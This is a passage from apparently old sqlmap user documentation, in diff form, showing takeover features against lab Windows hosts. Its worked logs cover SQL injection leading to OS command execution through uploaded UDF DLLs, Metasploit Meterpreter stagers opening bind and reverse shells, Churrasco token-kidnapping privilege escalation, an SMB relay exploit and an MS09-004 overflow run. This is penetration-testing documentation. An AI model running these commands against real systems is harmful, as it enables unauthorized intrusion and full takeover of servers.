+[hh:mm:36] [DEBUG] query: IFNULL(CAST(MID((VERSION()), 1, 6) AS CHAR(10000)), CHAR(32))
+[hh:mm:36] [INFO] retrieved: 5.0.67
+[hh:mm:37] [DEBUG] performed 49 queries in 1 seconds
+[hh:mm:37] [DEBUG] query: SELECT SLEEP(5)
+[hh:mm:42] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:42] [INFO] fingerprinting the back-end DBMS operating system
+[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:42] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
+[hh:mm:42] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
+[hh:mm:42] [DEBUG] query: SELECT IFNULL(CAST(MID(@@datadir, 1, 1) AS CHAR(10000)), CHAR(32))
+[hh:mm:42] [INFO] retrieved: C
+[hh:mm:42] [DEBUG] performed 14 queries in 0 seconds
+[hh:mm:42] [INFO] the back-end DBMS operating system is Windows
+[hh:mm:42] [DEBUG] cleaning up the database management system
+[hh:mm:42] [DEBUG] removing support tables
+[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:42] [INFO] testing if current user is DBA
+[hh:mm:42] [DEBUG] query: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=
+(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END)
+[hh:mm:42] [INFO] retrieved: 1
+[hh:mm:43] [DEBUG] performed 5 queries in 0 seconds
+[hh:mm:43] [INFO] checking if sys_exec UDF already exist
+[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
+CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=CHAR(115,121,115,95,101,120,101,99))
+THEN 1 ELSE 0 END)
+[hh:mm:43] [INFO] retrieved: 0
+[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
+[hh:mm:43] [INFO] checking if sys_eval UDF already exist
+[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
+CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=CHAR(115,121,115,95,101,118,97,108))
+THEN 1 ELSE 0 END)
+[hh:mm:43] [INFO] retrieved: 0
+[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
+[hh:mm:43] [DEBUG] going to upload the binary file with stacked query SQL injection technique
+[hh:mm:43] [DEBUG] creating a support table to write the hexadecimal encoded file to
+[hh:mm:43] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:43] [DEBUG] query: CREATE TABLE sqlmapfile(data longblob)
+[hh:mm:43] [DEBUG] encoding file to its hexadecimal string value
+[hh:mm:43] [DEBUG] forging SQL statements to write the hexadecimal encoded file to the
+support table
+[hh:mm:43] [DEBUG] inserting the hexadecimal encoded file to the support table
+[hh:mm:43] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (0x4d5a90 [...])
+[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
+[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xffcbff [...])
+[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x490068 [...])
+[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x1c5485 [...])
+[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x14cc63 [...])
+[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x207665 [...])
+[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x5c5379 [...])
+[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x0e5bc2 [...])
+[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x505357 [...])
+[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
+[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x696372 [...])
+[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xdd8400 [...])
+[hh:mm:44] [DEBUG] exporting the binary file content to file './libsqlmapudftxxgk.dll'
+[hh:mm:44] [DEBUG] query: SELECT data FROM sqlmapfile INTO DUMPFILE './libsqlmapudftxxgk.dll'
+[hh:mm:44] [DEBUG] cleaning up the database management system
+[hh:mm:44] [DEBUG] removing support tables
+[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:44] [INFO] creating sys_exec UDF from the binary UDF file
+[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_exec
+[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_exec RETURNS int SONAME 'libsqlmapudftxxgk.dll'
+[hh:mm:44] [INFO] creating sys_eval UDF from the binary UDF file
+[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_eval
+[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_eval RETURNS string SONAME
+'libsqlmapudftxxgk.dll'
+[hh:mm:44] [DEBUG] creating a support table to write commands standard output to
+[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapoutput
+[hh:mm:44] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
+[hh:mm:44] [INFO] going to use injected sys_eval and sys_exec user-defined functions for
+operating system command execution
+[hh:mm:44] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
+os-shell> whoami
+do you want to retrieve the command standard output? [Y/n]
+[hh:mm:41] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('whoami'))
+[hh:mm:41] [DEBUG] query: SELECT IFNULL(CAST(data AS CHAR(10000)), CHAR(32)) FROM
+sqlmapoutput
+[hh:mm:41] [INFO] retrieved: nt authority\system
+[hh:mm:44] [DEBUG] performed 140 queries in 2 seconds
+[hh:mm:44] [DEBUG] query: DELETE FROM sqlmapoutput
+command standard output: 'nt authority\system'
+
+os-shell> [TAB TAB]
+copy del dir echo md mem move
+net netstat -na ver whoami xcopy
+
+os-shell> exit
+[hh:mm:51] [INFO] cleaning up the database management system
+[hh:mm:51] [DEBUG] removing support tables
+[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapoutput
+do you want to remove sys_exec UDF? [Y/n] n
+do you want to remove sys_eval UDF? [Y/n] n
+[hh:mm:04] [INFO] database management system cleanup finished
+[hh:mm:04] [WARNING] remember that UDF dynamic-link library files saved on the file system
+can only be deleted manually
+
+
+
+
+Now run it again, but specifying the --union-use
to retrieve the
+command standard output quicker, via UNION based SQL injection, when the
+parameter is affected also by inband SQL injection vulnerability:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" \
+ --os-shell -v 2 --union-use
+
+[...]
+[hh:mm:16] [INFO] the back-end DBMS is MySQL
+web server operating system: Windows 2003 or 2008
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:16] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
+technique
+[hh:mm:16] [INFO] confirming full inband sql injection on parameter 'id'
+[hh:mm:16] [INFO] the target url is affected by an exploitable full inband sql injection
+vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/mysql/iis/get_int.aspx?id=1 UNION ALL SELECT
+NULL, NULL, NULL# AND 528=528'
+
+[hh:mm:16] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:16] [INFO] detecting back-end DBMS version from its banner
+[hh:mm:16] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
+MID((VERSION()), 1, 6),CHAR(117,114,115,75,117,102)), NULL# AND 3173=3173
+[hh:mm:16] [DEBUG] performed 1 queries in 0 seconds
+[hh:mm:16] [DEBUG] query: SELECT SLEEP(5)
+[hh:mm:21] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:21] [INFO] fingerprinting the back-end DBMS operating system
+[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:21] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
+[hh:mm:21] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
+[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
+MID(@@datadir, 1, 1),CHAR(117,114,115,75,117,102)), NULL# AND 6574=6574
+[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
+[hh:mm:21] [INFO] the back-end DBMS operating system is Windows
+[hh:mm:21] [DEBUG] cleaning up the database management system
+[hh:mm:21] [DEBUG] removing support tables
+[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:21] [INFO] testing if current user is DBA
+[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE
+WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64),
+1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# AND 19=19
+[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
+[hh:mm:21] [INFO] checking if sys_exec UDF already exist
+[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN
+((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=
+CHAR(115,121,115,95,101,120,101,99)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL#
+AND 4900=4900
+[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
+sys_exec UDF already exists, do you want to overwrite it? [y/N] n
+[hh:mm:24] [INFO] checking if sys_eval UDF already exist
+[hh:mm:24] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN
+((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=
+CHAR(115,121,115,95,101,118,97,108)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL#
+AND 4437=4437
+[hh:mm:24] [DEBUG] performed 1 queries in 0 seconds
+sys_eval UDF already exists, do you want to overwrite it? [y/N] n
+[hh:mm:25] [DEBUG] keeping existing sys_exec UDF as requested
+[hh:mm:25] [DEBUG] keeping existing sys_eval UDF as requested
+[hh:mm:25] [DEBUG] creating a support table to write commands standard output to
+[hh:mm:25] [DEBUG] query: DROP TABLE sqlmapoutput
+[hh:mm:25] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
+[hh:mm:25] [INFO] going to use injected sys_eval and sys_exec user-defined functions for
+operating system command execution
+[hh:mm:25] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
+os-shell> ipconfig
+do you want to retrieve the command standard output? [Y/n]
+[hh:mm:29] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('ipconfig'))
+[hh:mm:29] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),IFNULL(CAST
+(data AS CHAR(10000)), CHAR(32)),CHAR(117,114,115,75,117,102)), NULL FROM sqlmapoutput# AND
+7106=7106
+[hh:mm:29] [DEBUG] performed 1 queries in 0 seconds
+[hh:mm:29] [DEBUG] query: DELETE FROM sqlmapoutput
+command standard output:
+---
+
+Windows IP Configuration
+
+
+Ethernet adapter Local Area Connection 2:
+
+ Connection-specific DNS Suffix . : localdomain
+ IP Address. . . . . . . . . . . . : 192.168.1.121
+ Subnet Mask . . . . . . . . . . . : 255.255.255.0
+---Default Gateway . . . . . . . . . : 192.168.1.1
+
+os-shell> exit
+[hh:mm:41] [INFO] cleaning up the database management system
+[hh:mm:41] [DEBUG] removing support tables
+[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapoutput
+do you want to remove sys_exec UDF? [Y/n] n
+do you want to remove sys_eval UDF? [Y/n] n
+[hh:mm:54] [INFO] database management system cleanup finished
+[hh:mm:54] [WARNING] remember that UDF dynamic-link library files saved on the file system
+can only be deleted manually
+
+
+
+
+As you can see from this second example, sqlmap firstly check if the two +user-defined functions are already created, if so, it asks the user if he +wants to recreate them or keep them and save time.
Options: --os-pwn
, --priv-esc
, --msf-path
and --tmp-path
TODO
+It is possible to establish an out-of-band TCP stateful channel +between the attacker and the underlying operating system by using the +exploited SQL injection as a stepping stone. This is implemented for MySQL, +PostgreSQL and Microsoft SQL Server. +sqlmap relies on the +Metasploit to perform this attack, so you need to have it already +on your system: it's free and can be downloaded from the homepage. It is +advised to use Metasploit 3.3 development version from the subversion +repository.
-The techniques implemented are detailed on the white paper +
Note that this feature is not supported by sqlmap running on Windows +because Metasploit's msfconsole and msfcli are not supported on the native +Windows Ruby interpreter.
+ +These techniques are detailed on the white paper Advanced SQL injection to operating system full control.
+Example on a MySQL 5.0.67 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" \
+ --os-pwn -v 1 --msf-path /home/inquis/software/metasploit
+
+[...]
+[hh:mm:17] [INFO] the back-end DBMS is MySQL
+web server operating system: Windows 2003 or 2008
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:17] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:17] [INFO] detecting back-end DBMS version from its banner
+[hh:mm:17] [INFO] retrieved: 5.0.67
+[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system
+[hh:mm:23] [INFO] retrieved: C
+[hh:mm:23] [INFO] the back-end DBMS operating system is Windows
+[hh:mm:23] [INFO] testing if current user is DBA
+[hh:mm:23] [INFO] retrieved: 1
+[hh:mm:23] [INFO] checking if sys_exec UDF already exist
+[hh:mm:23] [INFO] retrieved: 1
+[hh:mm:24] [INFO] sys_exec UDF already exists, do you want to overwrite it? [y/N] N
+[hh:mm:24] [INFO] checking if sys_eval UDF already exist
+[hh:mm:24] [INFO] retrieved: 1
+[hh:mm:24] [INFO] sys_eval UDF already exists, do you want to overwrite it? [y/N] N
+[hh:mm:24] [INFO] creating Metasploit Framework 3 payload stager
+[hh:mm:24] [INFO] which connection type do you want to use?
+[1] Bind TCP (default)
+[2] Bind TCP (No NX)
+[3] Reverse TCP
+[4] Reverse TCP (No NX)
+> 1
+[hh:mm:24] [INFO] which is the back-end DBMS address? [192.168.1.121] 192.168.1.121
+[hh:mm:24] [INFO] which remote port numer do you want to use? [61588] 61588
+[hh:mm:24] [INFO] which payload do you want to use?
+[1] Reflective Meterpreter (default)
+[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
+[3] Shell
+[4] Reflective VNC
+[5] PatchUp VNC (only from Metasploit development revision 6742)
+> 1
+[hh:mm:24] [INFO] which payload encoding do you want to use?
+[1] No Encoder
+[2] Alpha2 Alphanumeric Mixedcase Encoder
+[3] Alpha2 Alphanumeric Uppercase Encoder
+[4] Avoid UTF8/tolower
+[5] Call+4 Dword XOR Encoder
+[6] Single-byte XOR Countdown Encoder
+[7] Variable-length Fnstenv/mov Dword XOR Encoder
+[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
+[9] Non-Alpha Encoder
+[10] Non-Upper Encoder
+[11] Polymorphic XOR Additive Feedback Encoder (default)
+[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
+[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
+> 11
+[hh:mm:24] [INFO] creation in progress .................. done
+[hh:mm:42] [INFO] compression in progress . quit unexpectedly with return code 1
+[hh:mm:43] [INFO] failed to compress the file because you provided a Metasploit version
+above 3.3-dev revision 6681. This will not inficiate the correct execution of sqlmap.
+It might only slow down a bit the execution of sqlmap
+[hh:mm:43] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/sqlmapmsfgcpge.exe'
+[hh:mm:44] [INFO] running Metasploit Framework 3 command line interface locally, wait..
+[hh:mm:44] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
+[*] Please wait while we load the module tree...
+[*] Started bind handler
+[*] Starting the payload handler...
+[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
+[*] Sending stage (718336 bytes)
+[*] Meterpreter session 1 opened (192.168.1.161:47832 -> 192.168.1.121:61588)
+
+meterpreter > Loading extension priv...success.
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+meterpreter > ipconfig
+
+MS TCP Loopback interface
+Hardware MAC: 00:00:00:00:00:00
+IP Address : 127.0.0.1
+Netmask : 255.0.0.0
+
+
+
+VMware Accelerated AMD PCNet Adapter
+Hardware MAC: 00:0c:29:29:ee:86
+IP Address : 192.168.1.121
+Netmask : 255.255.255.0
+
+
+meterpreter > pwd
+C:\Program Files\MySQL\MySQL Server 5.0\Data
+meterpreter > exit
+
+
+
+
+By default MySQL on Windows runs as SYSTEM
, however PostgreSQL
+run as a low-privileged user postgres
on both Windows and Linux.
+Microsoft SQL Server 2000 by default runs as SYSTEM
, whereas
+Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK
+SERVICE
and sometimes as LOCAL SERVICE
.
It is possible to provide sqlmap with the --priv-esc
option to
+abuse Windows access tokens and escalate privileges to SYSTEM
+within the Meterpreter session created if the underlying operating system
+is not patched against Microsoft Security Bulletin
+MS09-012.
+sqlmap performs the
+Windows Token kidnapping
+technique by uploading
+Churrasco
+local exploit and using it to call the Metasploit's payload stager
+executable. sqlmap uses also the Metasploit's Meterpreter
+incognito
+extension to abused Windows access tokens in conjunction to Churrasco
+stand-alone exploit if the user wants so.
Note that this feature is not supported by sqlmap installed from the +DEB package because it relies on Churrasco, which is not explicitly free +software so it has not been included in the package.
+ +This technique is detailed on the white paper +Advanced SQL injection to operating system full control.
+ +Example on a Microsoft SQL Server 2005 Service Pack 0 running as
+NETWORK SERVICE
on the target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+ --os-pwn -v 1 --msf-path /home/inquis/software/metasploit --priv-esc
+
+[...]
+[hh:mm:17] [INFO] the back-end DBMS is Microsoft SQL Server
+web server operating system: Windows 2000
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP
+back-end DBMS: Microsoft SQL Server 2005
+
+[hh:mm:17] [INFO] testing stacked queries support on parameter 'name'
+[hh:mm:22] [INFO] the web application supports stacked queries on parameter 'name'
+[hh:mm:22] [INFO] testing if current user is DBA
+[hh:mm:22] [INFO] retrieved: 1
+[hh:mm:23] [INFO] checking if xp_cmdshell extended procedure is available, wait..
+[hh:mm:29] [INFO] xp_cmdshell extended procedure is available
+[hh:mm:29] [INFO] creating Metasploit Framework 3 payload stager
+which connection type do you want to use?
+[1] Bind TCP (default)
+[2] Bind TCP (No NX)
+[3] Reverse TCP
+[4] Reverse TCP (No NX)
+> 3
+which is the local address? [192.168.1.161]
+which local port numer do you want to use? [61499]
+[hh:mm:54] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload
+that can be used to abuse Windows Impersonation Tokens via Meterpreter 'incognito'
+extension to privilege escalate
+which payload encoding do you want to use?
+[1] No Encoder
+[2] Alpha2 Alphanumeric Mixedcase Encoder
+[3] Alpha2 Alphanumeric Uppercase Encoder
+[4] Avoid UTF8/tolower
+[5] Call+4 Dword XOR Encoder
+[6] Single-byte XOR Countdown Encoder
+[7] Variable-length Fnstenv/mov Dword XOR Encoder
+[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
+[9] Non-Alpha Encoder
+[10] Non-Upper Encoder
+[11] Polymorphic XOR Additive Feedback Encoder (default)
+[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
+[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
+>
+[hh:mm:58] [INFO] creation in progress .................. done
+[hh:mm:16] [INFO] compression in progress . quit unexpectedly with return code 1
+[hh:mm:17] [INFO] failed to compress the file because you provided a Metasploit version
+above 3.3-dev revision 6681. This will not inficiate the correct execution of sqlmap.
+It might only slow down a bit the execution of sqlmap
+[hh:mm:17] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/sqlmapmsfyahls.exe'
+[hh:mm:20] [WARNING] often Microsoft SQL Server 2005 runs as Network Service which has no
+Windows Impersonation Tokens within all threads, this makes Meterpreter's incognito
+extension to fail to list tokens
+do you want sqlmap to upload Churrasco and call the Metasploit payload stager as its
+argument so that it will be started as SYSTEM? [Y/n] y
+[hh:mm:36] [INFO] the binary file is bigger than 65280 bytes. sqlmap will split it into
+chunks, upload them and recreate the original file out of the binary chunks server-side,
+wait..
+[hh:mm:22] [INFO] file chunk 1 written
+[14:10:06] [INFO] file chunk 2 written
+[14:10:06] [INFO] running Metasploit Framework 3 command line interface locally, wait..
+[*] Please wait while we load the module tree...
+[*] Handler binding to LHOST 0.0.0.0
+[*] Started reverse handler
+[*] Starting the payload handler...
+[14:10:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
+[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
+[*] Sending stage (718336 bytes)
+[*] Meterpreter session 1 opened (192.168.1.161:61499 -> 192.168.1.131:3221)
+
+meterpreter >
+[14:11:01] [INFO] loading Meterpreter 'incognito' extension and displaying the list of
+Access Tokens availables. Choose which user you want to impersonate by using incognito's
+command 'impersonate_token'
+Loading extension priv...success.
+meterpreter > Loading extension incognito...success.
+meterpreter > Server username: NT AUTHORITY\SYSTEM
+meterpreter >
+Delegation Tokens Available
+========================================
+NT AUTHORITY\LOCAL SERVICE
+NT AUTHORITY\NETWORK SERVICE
+NT AUTHORITY\SYSTEM
+W2K3DEV\Administrator
+W2K3DEV\IUSR_WIN2003
+W2K3DEV\postgres
+
+Impersonation Tokens Available
+========================================
+NT AUTHORITY\ANONYMOUS LOGON
+
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+meterpreter > exit
+
+
+
+
Options: --os-smbrelay
, --priv-esc
and --msf-path
TODO
+If the back-end database management system runs as Administrator
+and the underlying operating system is not patched against Microsoft
+Security Bulletin
+MS08-068,
+sqlmap can abuse the universal naming convention (UNC) supported within
+all database management systems to force the database server to initiate a
+SMB connection with the attacker host, then perform a SMB authentication
+relay attack in order to establish a high-privileged out-of-band TCP
+stateful channel between the attacker host and the target database
+server.
+sqlmap relies on
+Metasploit's SMB relay exploit to perform this attack, so you need
+to have it already on your system: it's free and can be downloaded from the
+homepage.
+You need to run sqlmap as root user if you want to perform a SMB
+relay attack because it will need to listen on a user-specified SMB TCP
+port for incoming connection attempts.
The techniques implemented are detailed on the white paper +
Note that this feature is not supported by sqlmap running on Windows +because Metasploit's msfconsole and msfcli are not supported on the native +Windows Ruby interpreter.
+ +This technique is detailed on the white paper Advanced SQL injection to operating system full control.
+Example on a Microsoft SQL Server 2005 Service Pack 0 running as
+Administrator
on the target:
+
+
+$ sudo python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+ --os-smbrelay -v 1 --msf-path /home/inquis/software/metasploit
+
+[...]
+[hh:mm:11] [INFO] the back-end DBMS is Microsoft SQL Server
+web server operating system: Windows 2000
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP
+back-end DBMS: Microsoft SQL Server 2005
+
+[hh:mm:11] [INFO] testing stacked queries support on parameter 'name'
+[hh:mm:16] [INFO] the web application supports stacked queries on parameter 'name'
+[hh:mm:16] [WARNING] it is unlikely that this attack will be successful because often
+Microsoft SQL Server 2005 runs as Network Service which is not a real user, it does not
+send the NTLM session hash when connecting to a SMB service
+[hh:mm:16] [INFO] which connection type do you want to use?
+[1] Bind TCP (default)
+[2] Bind TCP (No NX)
+[3] Reverse TCP
+[4] Reverse TCP (No NX)
+> 1
+[hh:mm:16] [INFO] which is the local address? [192.168.1.161] 192.168.1.161
+[hh:mm:16] [INFO] which is the back-end DBMS address? [192.168.1.131] 192.168.1.131
+[hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907
+[hh:mm:16] [INFO] which payload do you want to use?
+[1] Reflective Meterpreter (default)
+[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
+[3] Shell
+[4] Reflective VNC
+[5] PatchUp VNC (only from Metasploit development revision 6742)
+> 1
+[hh:mm:16] [INFO] which SMB port do you want to use?
+[1] 139/TCP (default)
+[2] 445/TCP
+> 1
+[hh:mm:16] [INFO] running Metasploit Framework 3 console locally, wait..
+
+ _ _ _ _
+ | | | | (_) |
+ _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
+| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
+| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
+|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
+ | |
+ |_|
+
+
+ =[ msf v3.3-dev
++ -- --=[ 392 exploits - 234 payloads
++ -- --=[ 20 encoders - 7 nops
+ =[ 168 aux
+
+resource> use windows/smb/smb_relay
+resource> set SRVHOST 192.168.1.161
+SRVHOST => 192.168.1.161
+resource> set SRVPORT 139
+SRVPORT => 139
+resource> set PAYLOAD windows/meterpreter/bind_tcp
+PAYLOAD => windows/meterpreter/bind_tcp
+resource> set LPORT 4907
+LPORT => 4907
+resource> set RHOST 192.168.1.131
+RHOST => 192.168.1.131
+resource> exploit
+[*] Exploit running as background job.
+msf exploit(smb_relay) >
+[*] Started bind handler
+[*] Server started.
+[*] Received 192.168.1.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790
+Service Pack 2 LM:
+[*] Sending Access Denied to 192.168.1.131:3242 \
+[*] Received 192.168.1.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows
+Server 2003 3790 Service Pack 2 LM:
+[*] Authenticating to 192.168.1.131 as W2K3DEV\Administrator...
+[*] AUTHENTICATED as W2K3DEV\Administrator...
+[*] Connecting to the ADMIN$ share...
+[*] Regenerating the payload...
+[*] Uploading payload...
+[*] Created \wELRmcmd.exe...
+[*] Connecting to the Service Control Manager...
+[*] Obtaining a service manager handle...
+[*] Creating a new service...
+[*] Closing service handle...
+[*] Opening service...
+[*] Starting the service...
+[*] Removing the service...
+[*] Closing service handle...
+[*] Deleting \wELRmcmd.exe...
+[*] Sending Access Denied to 192.168.1.131:3242 W2K3DEV\Administrator
+[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
+[*] Received 192.168.1.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790
+Service Pack 2 LM:
+[*] Sending Access Denied to 192.168.1.131:3244 \
+[*] Received 192.168.1.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows
+Server 2003 3790 Service Pack 2 LM:
+[*] Authenticating to 192.168.1.131 as W2K3DEV\Administrator...
+[*] AUTHENTICATED as W2K3DEV\Administrator...
+[*] Ignoring request from 192.168.1.131, attack already in progress.
+[*] Sending Access Denied to 192.168.1.131:3244 W2K3DEV\Administrator
+[*] Sending stage (718336 bytes)
+[*] Meterpreter session 1 opened (192.168.1.161:51813 -> 192.168.1.131:4907)
+
+Active sessions
+===============
+
+ Id Description Tunnel
+ -- ----------- ------
+ 1 Meterpreter 192.168.1.161:51813 -> 192.168.1.131:4907
+
+msf exploit(smb_relay) > [*] Starting interaction with 1...
+
+meterpreter > [-] The 'priv' extension has already been loaded.
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+meterpreter > exit
+
+[*] Meterpreter session 1 closed.
+msf exploit(smb_relay) > exit
+
+[*] Server stopped.
+
+
+
+
Options: --os-bof
, --priv-esc
and --msf-path
TODO
+If the back-end database management system is not patched against Microsoft
+Security Bulletin
+MS09-004,
+sqlmap can exploit the heap-based buffer overflow affecting
+sp_replwritetovarbin
stored procedure in order to establish an
+out-of-band TCP stateful channel between the attacker host and the
+target database server.
+sqlmap has its own exploit to trigger the vulnerability, but it relies on
+Metasploit to
+generate the shellcode used within the exploit, so you need to have it
+already on your system: it's free and can be downloaded from the homepage.
The techniques implemented are detailed on the white paper +
Note that this feature is not supported by sqlmap running on Windows +because Metasploit's msfconsole and msfcli are not supported on the native +Windows Ruby interpreter.
+ +This technique is detailed on the white paper Advanced SQL injection to operating system full control.
+Example on a Microsoft SQL Server 2005 Service Pack 0 target:
++
+
+$ sudo python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+ --os-bof -v 1 --msf-path /home/inquis/software/metasploit
+
+[...]
+[hh:mm:09] [INFO] the back-end DBMS is Microsoft SQL Server
+web server operating system: Windows 2000
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP
+back-end DBMS: Microsoft SQL Server 2005
+
+[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
+[hh:mm:14] [INFO] the web application supports stacked queries on parameter 'name'
+[hh:mm:14] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin'
+stored procedure heap-based buffer overflow (MS09-004)
+[hh:mm:14] [INFO] fingerprinting the back-end DBMS operating system version and service pack
+[hh:mm:14] [INFO] retrieved: 1
+[hh:mm:15] [INFO] retrieved: 1
+[hh:mm:15] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
+[hh:mm:15] [INFO] testing if current user is DBA
+[hh:mm:15] [INFO] retrieved: 1
+[hh:mm:15] [INFO] checking if xp_cmdshell extended procedure is available, wait..
